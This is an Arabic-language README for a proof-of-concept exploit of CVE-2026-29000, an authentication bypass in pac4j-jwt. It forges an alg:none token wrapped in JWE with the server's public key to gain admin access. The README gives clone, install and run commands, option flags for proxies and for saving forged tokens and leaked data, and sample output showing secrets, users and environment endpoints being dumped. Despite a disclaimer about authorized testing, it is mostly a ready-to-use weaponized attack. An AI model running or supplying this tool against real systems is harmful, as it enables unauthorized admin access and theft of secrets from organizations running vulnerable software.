
CVE-2026-29000 – تجاوز المصادقة في pac4j-jwt (CVSS 10.0). تزوير صلاحيات المسؤول بنقرة واحدة عبر تغليف JWE بالمفتاح العام. يسرّب الإعدادات والمستخدمين والأسرار. الحفاظ على الاتصال، والوكيل، وJWKS المخصص. أداة إثبات مفهوم استغلالية تعليمية.
CVE-2026-29000 - إنشاء حساب مسؤول بنقرة واحدة عبر JWT alg:none وتشفير JWE
يسلّح هذا الاستغلال CVE-2026-29000، وهي ثغرة حرجة بدرجة CVSS 10.0 في مكتبة pac4j-jwt. فعبر استخراج مفتاح JWKS العام الخاص بالخادم وتزوير رمز JWE مشفّر باستخدام alg: none، يحقق تجاوزًا كاملًا للمصادقة ويمنح صلاحيات إدارية كاملة بنقرة واحدة.
alg:none ويغلّفه بالمفتاح العام الخاص بالخادم نفسه| المكتبة | الإصدارات المتأثرة | الإصدارات المُرقّعة |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] إخلاء المسؤولية: هذه الأداة مخصصة لاختبارات الأمان المصرّح بها ومهام الفريق الأحمر فقط.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
استغلال أساسي بضربة واحدة
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
الوسيطة المختصر مطلوبة الافتراضي الوصف --target -t نعم - عنوان URL الهدف (مثال: https://example.com:8443) --jwks -k لا اكتشاف تلقائي مسار نقطة نهاية JWKS مخصص --output -o لا لا شيء حفظ رمز JWE المزوّر في ملف --leak -l لا leaked_TIMESTAMP.txt حفظ البيانات المسرّبة في ملف --verbose -v لا False تفعيل مخرجات التصحيح --proxy -p لا لا شيء وكيل HTTP/HTTPS --user-agent -ua لا Mozilla/5.0... User-Agent مخصص --no-keep-alive - لا False تعطيل إبقاء الجلسة نشطة --delay - لا 5.0 فاصل زمني لنبضة إبقاء الاتصال (بالثواني) --max-retries - لا 3 الحد الأقصى لإعادة المحاولات لكل طلب فاشل --ssl-verify - لا False التحقق من شهادات SSL
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] المرحلة 1: الحصول على المفتاح العام RSA من JWKS [11:23:15] جارٍ فحص نقطة نهاية JWKS... [11:23:16] تم العثور على JWKS في /realms/master/protocol/openid-connect/certs [11:23:16] تم استخراج المفتاح العام RSA بنجاح
[11:23:16] المرحلة 2: صياغة JWT بخوارزمية alg:none وتشفيره إلى JWE [11:23:16] تم تزوير رمز JWE (مقتطع): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ تم حفظ الرمز في backdoor.jwe
[11:23:16] المرحلة 3: إرسال JWE المزوّر كرمز Bearer [11:23:17] ✓ نجحت المصادقة! تم منح الوصول إلى /api/users/me
[11:23:17] المرحلة 4: تعداد نقاط النهاية المتاحة وكشف البيانات الحساسة [11:23:18] ✓ تسريب: /actuator/env (الحالة 200) [11:23:18] ✓ تسريب: /api/users (الحالة 200) [11:23:18] ✓ تسريب: /api/secrets (الحالة 200) [11:23:18] ✓ تسريب: /config/server (الحالة 200) [11:23:18] ✓ تم التقاط 4 نقاط نهاية حساسة → حُفظت في leak.txt
[11:23:18] جلسة الإبقاء على الاتصال نشطة (Ctrl+C للإيقاف) [11:23:18] الرمز (JWE) صالح لمدة ساعة تقريبًا – أعد تزويره إذا انتهت صلاحيته
اطّلع على مستودعات الاستغلال الأخرى الخاصة بي: